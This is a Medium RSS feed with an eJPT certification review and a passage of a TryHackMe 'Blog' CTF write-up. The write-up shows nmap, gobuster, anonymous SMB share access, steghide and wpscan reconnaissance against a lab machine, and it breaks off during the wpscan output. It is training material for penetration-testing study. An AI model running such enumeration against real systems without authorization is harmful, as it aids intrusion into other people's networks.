<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wev_Sec on Medium]]></title>
        <description><![CDATA[Stories by Wev_Sec on Medium]]></description>
        <link>https://medium.com/@wevsec?source=rss-253def174ab8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5H30-xXVtxZqjzDSWGrt-Q.png</url>
            <title>Stories by Wev_Sec on Medium</title>
            <link>https://medium.com/@wevsec?source=rss-253def174ab8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 20:05:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wevsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Experience with the eJPT Certification — Was It Worth It?]]></title>
            <link>https://wevsec.medium.com/my-experience-with-the-ejpt-certification-was-it-worth-it-f0d28c7adef9?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0d28c7adef9</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Wed, 01 Oct 2025 23:56:40 GMT</pubDate>
            <atom:updated>2025-10-01T23:56:40.494Z</atom:updated>
            <content:encoded><![CDATA[<h3>My Experience with the eJPT Certification — Was It Worth It?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FyMTdPpWPNVCjwjxXNt-Q.png" /><figcaption>My eJPT Certification</figcaption></figure><p>Recently, I had the chance to take the eLearnSecurity Junior Penetration Tester (eJPT) certification, and I wanted to share my honest experience with it — what I liked, what I didn’t, and whether I’d recommend it to others starting in penetration testing.</p><p>First, a special thanks to my bosses who supported me and covered the certification costs. That kind of support is priceless, and I’m really grateful for it.</p><h3>Why I Took the eJPT</h3><p>Like many people in cybersecurity, my long-term goal is to achieve the OSCP. I know the OSCP is a much higher-level, tougher certification, but I saw the eJPT as a stepping stone — a way to understand how practical penetration testing exams work and to get familiar with the structure before jumping into something more advanced.</p><h3>Was It Worth It?</h3><p>Yes — especially because I bought it during a discount campaign and paid around $120. My personal recommendation is to wait for a discount if you’re considering it. At full price, for such an entry-level certification, I don’t think it’s the best investment.</p><h3>Course Content — My Honest Thoughts</h3><p>This part is subjective. Personally, I didn’t enjoy the video lessons. They felt too basic and repetitive for me. But that’s because I already had experience in penetration testing and cybersecurity.</p><p>For beginners, however, the videos can be really valuable. If you don’t have prior exposure to pentesting or CTFs, the structured walkthrough style is a good way to build foundational knowledge.</p><p>What I did like were the hands-on labs, CTF-style challenges, and multiple-choice quizzes. These really help solidify concepts. You don’t <em>need</em> external resources to pass — the course materials are enough if you put in the work.</p><h3>Did I Use External Material?</h3><p>Yes. I went through a bunch of TryHackMe rooms and CTFs alongside the course. Personally, I think this combination helped me sharpen my skills even more. I’ve even put together lists of free recommended rooms below if you’re interested.</p><h3>Rooms:</h3><ul><li><a href="https://tryhackme.com/room/basicpentestingjt">https://tryhackme.com/room/basicpentestingjt</a></li><li><a href="https://tryhackme.com/room/easyctf">https://tryhackme.com/room/easyctf</a></li><li><a href="https://tryhackme.com/room/rrootme">https://tryhackme.com/room/rrootme</a></li><li><a href="https://tryhackme.com/room/investigatingwindows">https://tryhackme.com/room/investigatingwindows</a></li><li><a href="https://tryhackme.com/room/lookup">https://tryhackme.com/room/lookup</a></li><li><a href="https://tryhackme.com/room/startup">https://tryhackme.com/room/startup</a></li><li><a href="https://tryhackme.com/room/ignite">https://tryhackme.com/room/ignite</a></li><li><a href="https://tryhackme.com/room/cowboyhacker">https://tryhackme.com/room/cowboyhacker</a></li><li><a href="https://tryhackme.com/room/overpass">https://tryhackme.com/room/overpass</a></li><li><a href="https://tryhackme.com/room/vulnversity">https://tryhackme.com/room/vulnversity</a></li><li><a href="https://tryhackme.com/room/blog">https://tryhackme.com/room/blog</a></li></ul><h3>Prerequisites You Should Know</h3><p>This certification expects you to already have some knowledge of:</p><ul><li>Linux basics</li><li>Windows fundamentals</li><li>Networking concepts</li></ul><p>If you’ve never touched these before, you’ll have a tough time. The course won’t teach you how to run basic Linux commands, for example — it assumes you already know them. For anyone starting from zero, I’d recommend watching free YouTube content (like NetworkChuck’s videos) to cover these basics first.</p><h3>Was the Exam Easy?</h3><p>No — and don’t let people convince you otherwise.</p><p>I’ve seen folks online calling the eJPT “easy.” I disagree. It’s not <em>impossible</em>, but for someone just starting out without much pentesting or CTF experience, it can definitely feel overwhelming. You need to know how to enumerate properly, use the right tools, and think critically about your attack paths.</p><p>The exam is practical and fair. You get 48 hours to complete it, which is generous. I personally took about 10 hours because I worked slowly and carefully. My final score was 80%, and I was happy with that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qTnRZw9UppqmtVhE" /><figcaption>My Exam Score</figcaption></figure><h3>My Key Recommendations</h3><p>If you’re considering the eJPT, here are my takeaways:</p><ul><li>Take detailed notes throughout the course, especially if you’re new.</li><li>Focus on enumeration — it’s the most critical skill.</li><li>Don’t underestimate the host discovery modules.</li><li>If you want extra practice, TryHackMe has excellent rooms to reinforce your skills.</li></ul><h3>Final Thoughts</h3><p>Overall, I believe the eJPT is a solid entry point into the world of penetration testing certifications. It gives juniors practical exposure, builds confidence, and develops the problem-solving mindset that real pentesters need.</p><p>Would I recommend it? Yes — especially over other entry-level options like Pentest+. In fact, I’d argue it’s one of the best starting points for anyone seriously aiming toward the OSCP in the future.</p><p>That was my honest take. If you’re preparing for the eJPT or have already gone through it, I’d love to hear about your experience. Did you find the exam tough? Do you think it’s a good step toward OSCP?</p><p>Let’s connect and share insights — the more we exchange knowledge in this community, the stronger we all become.</p><p><a href="https://www.linkedin.com/in/wevsec">LinkedIn</a> | <a href="https://github.com/wevsec">GitHub</a> | <a href="https://www.wevsec.com/">WebSite</a> | <a href="https://www.youtube.com/@wev_sec">Youtube</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0d28c7adef9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blog — TryHackMe CTF]]></title>
            <link>https://wevsec.medium.com/blog-tryhackme-ctf-71f900135b21?source=rss-253def174ab8------2</link>
            <guid isPermaLink="false">https://medium.com/p/71f900135b21</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Wev_Sec]]></dc:creator>
            <pubDate>Wed, 24 Sep 2025 22:58:25 GMT</pubDate>
            <atom:updated>2025-09-24T22:58:25.112Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blog — TryHackMe CTF</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMr7oOIqTzP5SIESIfCVNw.png" /></figure><h3>#1 Deploy the Machine:</h3><p>Let’s start with the very first thing we should do when we start a TryHackMe CTF, deploy the machine. Just click on “Start machine” and than wait for the ip address to appear, that’s it.</p><p>After that we will need to modify the hosts file to add the <strong>blog.thm</strong>:</p><pre>sudo nano /etc/hosts</pre><p>An finally just paste:</p><pre>&lt;YOUR_MACHINE_IP&gt;   blog.thm</pre><blockquote>Quit with ctrl + x and hit y to save.</blockquote><h3>2# Recon:</h3><p>What we know so far by accessing the blog.thm link is that there’s a person called Karen Wheeler that is identifying herself as Billy Joel’s mom. With that information we can guess that there are two user accounts for that site.</p><p>Another interesting thing is that Billy’s mom signs her messages with “iloveyou” at the end.</p><p>After accessing the “/robots.txt” we see this:</p><pre>User-agent: *<br>Disallow: /wp-admin/<br>Allow: /wp-admin/admin-ajax.php</pre><p>Accessing the “/wp-admin/” directorie takes us to the login page.</p><h3>#3 Enumeration:</h3><ol><li>Nmap</li></ol><p><em>Command</em>:</p><pre>nmap -sC -sV -Pn -oN nmap_intial blog.thm</pre><p><em>Output</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*VIz3Cu0fRB5XcyMHarFy0Q.png" /></figure><p>2. Gobuster</p><p><em>Command</em>:</p><pre>gobuster dir -u http://blog.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</pre><p><em>Output</em>:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ gobuster dir -u http://blog.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://blog.thm/<br>[+] Method:                  GET<br>[+] Threads:                 10<br>[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/rss                  (Status: 301) [Size: 0] [--&gt; http://blog.thm/feed/]<br>/login                (Status: 302) [Size: 0] [--&gt; http://blog.thm/wp-login.php]                                                                          <br>/0                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/0/]<br>/feed                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/feed/]<br>/atom                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/feed/atom/]                                                                            <br>/wp-content           (Status: 301) [Size: 309] [--&gt; http://blog.thm/wp-content/]      <br>/w                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/welcome/]                                                                   <br>/n                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]                                                             <br>/rss2                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/feed/]<br>/no                   (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]                                                             <br>/N                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]                                                             <br>/W                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/welcome/]                                                                   <br>/rdf                  (Status: 301) [Size: 0] [--&gt; http://blog.thm/feed/rdf/]<br>/page1                (Status: 301) [Size: 0] [--&gt; http://blog.thm/]<br>/Welcome              (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/welcome/]                                                                   <br>/&#39;                    (Status: 301) [Size: 0] [--&gt; http://blog.thm/]<br>/dashboard            (Status: 302) [Size: 0] [--&gt; http://blog.thm/wp-admin/]<br>/note                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]                                                             <br>/%20                  (Status: 301) [Size: 0] [--&gt; http://blog.thm/]<br>/we                   (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/welcome/]                                                                   <br>/2020                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/]<br>/wp-admin             (Status: 301) [Size: 307] [--&gt; http://blog.thm/wp-admin/]                                                                           <br>/0000                 (Status: 301) [Size: 0] [--&gt; http://blog.thm/0000/]<br>/embed                (Status: 301) [Size: 0] [--&gt; http://blog.thm/embed/]<br>/NO                   (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]<br>/Oasis - &#39;Definitely Maybe&#39; (Status: 301) [Size: 0] [--&gt; http://blog.thm/Oasis%20-%20%27Definitely%20Maybe]<br>/not                  (Status: 301) [Size: 0] [--&gt; http://blog.thm/2020/05/26/note-from-mom/]</pre><p>3. SMB</p><p>I’ve noticed that the target machine is using SMB ports, so I’ve decided to target that protocol. To do that I ran “smbclient” for enumaration as you can see below:</p><p>smbclient:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ smbclient -L blog.thm -N<br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        print$          Disk      Printer Drivers<br>        BillySMB        Disk      Billy&#39;s local SMB Share<br>        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))<br>Reconnecting with SMB1 for workgroup listing.<br><br>        Server               Comment<br>        ---------            -------<br><br>        Workgroup            Master<br>        ---------            -------<br>        WORKGROUP            BLOG</pre><p>Whith this command we managed to find Billy’s local SMB Share. To access it we can do the following:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ smbclient //blog.thm/BillySMB -N<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Tue May 26 14:17:05 2020<br>  ..                                  D        0  Tue May 26 13:58:23 2020<br>  Alice-White-Rabbit.jpg              N    33378  Tue May 26 14:17:01 2020<br>  tswift.mp4                          N  1236733  Tue May 26 14:13:45 2020<br>  check-this.png                      N     3082  Tue May 26 14:13:43 2020<br><br>                15413192 blocks of size 1024. 9785852 blocks available</pre><p>This connects to the BillySMB share <strong>without providing any credentials</strong>, which is why you could list and download files even though you didn’t enter a password.</p><p>Notice that this SMB server has multiple files, so we need to download them:</p><pre>smb: \&gt; get Alice-White-Rabbit.jpg<br>getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (18.8 KiloBytes/sec) (average 18.8 KiloBytes/sec)<br>smb: \&gt; get tswift.mp4<br>getting file \tswift.mp4 of size 1236733 as tswift.mp4 (159.4 KiloBytes/sec) (average 133.2 KiloBytes/sec)<br>smb: \&gt; get check-this.png<br>getting file \check-this.png of size 3082 as check-this.png (2.4 KiloBytes/sec) (average 117.9 KiloBytes/sec)</pre><p>After opening these files I noticed that they don’t present relevant information, so maybe there are obfuscated text on them, so we need to analyze these files with steghide:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ steghide extract -sf Alice-White-Rabbit.jpg<br>Enter passphrase: <br>wrote extracted data to &quot;rabbit_hole.txt&quot;.<br>                                                                                                                 <br>┌──(kali㉿vbox)-[~]<br>└─$ cat rabbit_hole.txt                                                               <br>You&#39;ve found yourself in a rabbit hole, friend.</pre><p>The “check-this.jpg” had nothing and the “tswift.mp4” seems to be just a meme. So to me it seems that these files aren’t relevant. So let’s focus on the WordPress server.</p><p>4. wpscan</p><p>Let’s run a scanner on that WordPress site using the following command:</p><pre>wpscan --url http://blog.thm --enumerate u,t,p</pre><p>That will return us all of the WordPress Users, Themes and Plugins being used.</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ wpscan --url http://blog.thm --enumerate u,t,p<br>_______________________________________________________________<br>         __          _______   _____<br>         \ \        / /  __ \ / ____|<br>          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®<br>           \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \<br>            \  /\  /  | |     ____) | (__| (_| | | | |<br>             \/  \/   |_|    |_____/ \___|\__,_|_| |_|<br><br>         WordPress Security Scanner by the WPScan Team<br>                         Version 3.8.28<br>                               <br>       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart<br>_______________________________________________________________<br><br>[i] Updating the Database ...<br>[i] Update completed.<br><br>[+] URL: http://blog.thm/ [10.201.20.153]<br>[+] Started: Wed Sep 24 13:44:44 2025<br><br>Interesting Finding(s):<br><br>[+] Headers<br> | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)<br> | Found By: Headers (Passive Detection)<br> | Confidence: 100%<br><br>[+] robots.txt found: http://blog.thm/robots.txt<br> | Interesting Entries:<br> |  - /wp-admin/<br> |  - /wp-admin/admin-ajax.php<br> | Found By: Robots Txt (Aggressive Detection)<br> | Confidence: 100%<br><br>[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br> | References:<br> |  - http://codex.wordpress.org/XML-RPC_Pingback_API<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/<br> |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/<br> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/<br><br>[+] WordPress readme found: http://blog.thm/readme.html<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br><br>[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 100%<br><br>[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php<br> | Found By: Direct Access (Aggressive Detection)<br> | Confidence: 60%<br> | References:<br> |  - https://www.iplocation.net/defend-wordpress-from-ddos<br> |  - https://github.com/wpscanteam/wpscan/issues/1299<br><br>[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).<br> | Found By: Rss Generator (Passive Detection)<br> |  - http://blog.thm/feed/, &lt;generator&gt;https://wordpress.org/?v=5.0&lt;/generator&gt;<br> |  - http://blog.thm/comments/feed/, &lt;generator&gt;https://wordpress.org/?v=5.0&lt;/generator&gt;<br><br>[+] WordPress theme in use: twentytwenty<br> | Location: http://blog.thm/wp-content/themes/twentytwenty/<br> | Last Updated: 2025-04-15T00:00:00.000Z<br> | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt<br> | [!] The version is out of date, the latest version is 2.9<br> | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3<br> | Style Name: Twenty Twenty<br> | Style URI: https://wordpress.org/themes/twentytwenty/<br> | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Css Style In Homepage (Passive Detection)<br> | Confirmed By: Css Style In 404 Page (Passive Detection)<br> |<br> | Version: 1.3 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: &#39;Version: 1.3&#39;<br><br>[+] Enumerating Most Popular Plugins (via Passive Methods)<br><br>[i] No plugins Found.<br><br>[+] Enumerating Most Popular Themes (via Passive and Aggressive Methods)<br> Checking Known Locations - Time: 00:00:01 &lt;&gt; (11 / 400)  2.75%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:01 &lt;&gt; (12 / 400)  3.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:01 &lt;&gt; (16 / 400)  4.00%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:01 &lt;&gt; (17 / 400)  4.25%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:01 &lt;&gt; (21 / 400)  5.25%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:01 &lt;&gt; (22 / 400)  5.50%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:02 &lt;&gt; (26 / 400)  6.50%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:02 &lt;&gt; (27 / 400)  6.75%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:03 &lt;&gt; (28 / 400)  7.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:03 &lt;&gt; (32 / 400)  8.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:03 &lt;&gt; (34 / 400)  8.50%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:04 &lt;&gt; (36 / 400)  9.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:04 &lt;&gt; (37 / 400)  9.25%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:05 &lt;&gt; (39 / 400)  9.75%  ETA: 00:00:5 Checking Known Locations - Time: 00:00:05 &lt;&gt; (43 / 400) 10.75%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:05 &lt;&gt; (44 / 400) 11.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:05 &lt;&gt; (47 / 400) 11.75%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:05 &lt;&gt; (49 / 400) 12.25%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:06 &lt;&gt; (50 / 400) 12.50%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:07 &lt;&gt; (51 / 400) 12.75%  ETA: 00:00:5 Checking Known Locations - Time: 00:00:08 &lt;&gt; (55 / 400) 13.75%  ETA: 00:00:5 Checking Known Locations - Time: 00:00:08 &lt;&gt; (57 / 400) 14.25%  ETA: 00:00:5 Checking Known Locations - Time: 00:00:08 &lt;&gt; (59 / 400) 14.75%  ETA: 00:00:5 Checking Known Locations - Time: 00:00:08 &lt;&gt; (60 / 400) 15.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:08 &lt;&gt; (64 / 400) 16.00%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:08 &lt;&gt; (66 / 400) 16.50%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (69 / 400) 17.25%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (70 / 400) 17.50%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (73 / 400) 18.25%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (75 / 400) 18.75%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (78 / 400) 19.50%  ETA: 00:00:4 Checking Known Locations - Time: 00:00:09 &lt;&gt; (80 / 400) 20.00%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:10 &lt;&gt; (83 / 400) 20.75%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:10 &lt;&gt; (85 / 400) 21.25%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:10 &lt;&gt; (88 / 400) 22.00%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:10 &lt;&gt; (90 / 400) 22.50%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:10 &lt;&gt; (93 / 400) 23.25%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:11 &lt;&gt; (96 / 400) 24.00%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:11 &lt;&gt; (99 / 400) 24.75%  ETA: 00:00:3 Checking Known Locations - Time: 00:00:11 &lt;&gt; (100 / 400) 25.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:11 &lt;&gt; (101 / 400) 25.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:11 &lt;&gt; (104 / 400) 26.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:11 &lt;&gt; (105 / 400) 26.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:11 &lt;&gt; (106 / 400) 26.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:11 &lt;&gt; (110 / 400) 27.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:12 &lt;&gt; (111 / 400) 27.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:12 &lt;&gt; (115 / 400) 28.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:12 &lt;&gt; (116 / 400) 29.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:12 &lt;&gt; (121 / 400) 30.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:13 &lt;&gt; (126 / 400) 31.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:13 &lt;&gt; (131 / 400) 32.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:14 &lt;&gt; (136 / 400) 34.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:14 &lt;&gt; (141 / 400) 35.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:14 &lt;&gt; (146 / 400) 36.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:14 &lt;&gt; (150 / 400) 37.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:14 &lt;&gt; (151 / 400) 37.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:15 &lt;&gt; (156 / 400) 39.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:15 &lt;&gt; (161 / 400) 40.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:15 &lt;&gt; (166 / 400) 41.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:16 &lt;&gt; (171 / 400) 42.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:16 &lt;&gt; (173 / 400) 43.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:16 &lt;&gt; (176 / 400) 44.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:16 &lt;&gt; (181 / 400) 45.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (185 / 400) 46.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (188 / 400) 47.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (189 / 400) 47.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (190 / 400) 47.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (194 / 400) 48.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:17 &lt;&gt; (195 / 400) 48.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (199 / 400) 49.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (200 / 400) 50.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (202 / 400) 50.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (203 / 400) 50.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (205 / 400) 51.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (206 / 400) 51.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (208 / 400) 52.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (209 / 400) 52.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:18 &lt;&gt; (210 / 400) 52.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (211 / 400) 52.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (213 / 400) 53.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (215 / 400) 53.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (216 / 400) 54.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (218 / 400) 54.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (220 / 400) 55.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (221 / 400) 55.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (223 / 400) 55.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (224 / 400) 56.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (225 / 400) 56.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (226 / 400) 56.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:19 &lt;&gt; (229 / 400) 57.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (230 / 400) 57.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (231 / 400) 57.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (235 / 400) 58.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (236 / 400) 59.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (240 / 400) 60.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (241 / 400) 60.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:20 &lt;&gt; (245 / 400) 61.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:21 &lt;&gt; (246 / 400) 61.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:21 &lt;&gt; (251 / 400) 62.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:22 &lt;&gt; (256 / 400) 64.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:22 &lt;&gt; (261 / 400) 65.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:22 &lt;&gt; (266 / 400) 66.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:23 &lt;&gt; (271 / 400) 67.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:23 &lt;&gt; (276 / 400) 69.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:23 &lt;&gt; (281 / 400) 70.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:23 &lt;&gt; (286 / 400) 71.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (289 / 400) 72.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (292 / 400) 73.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (294 / 400) 73.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (295 / 400) 73.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (297 / 400) 74.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (298 / 400) 74.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:24 &lt;&gt; (299 / 400) 74.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (301 / 400) 75.25%  ETA: 00:00: Checking Known Locations - Time: 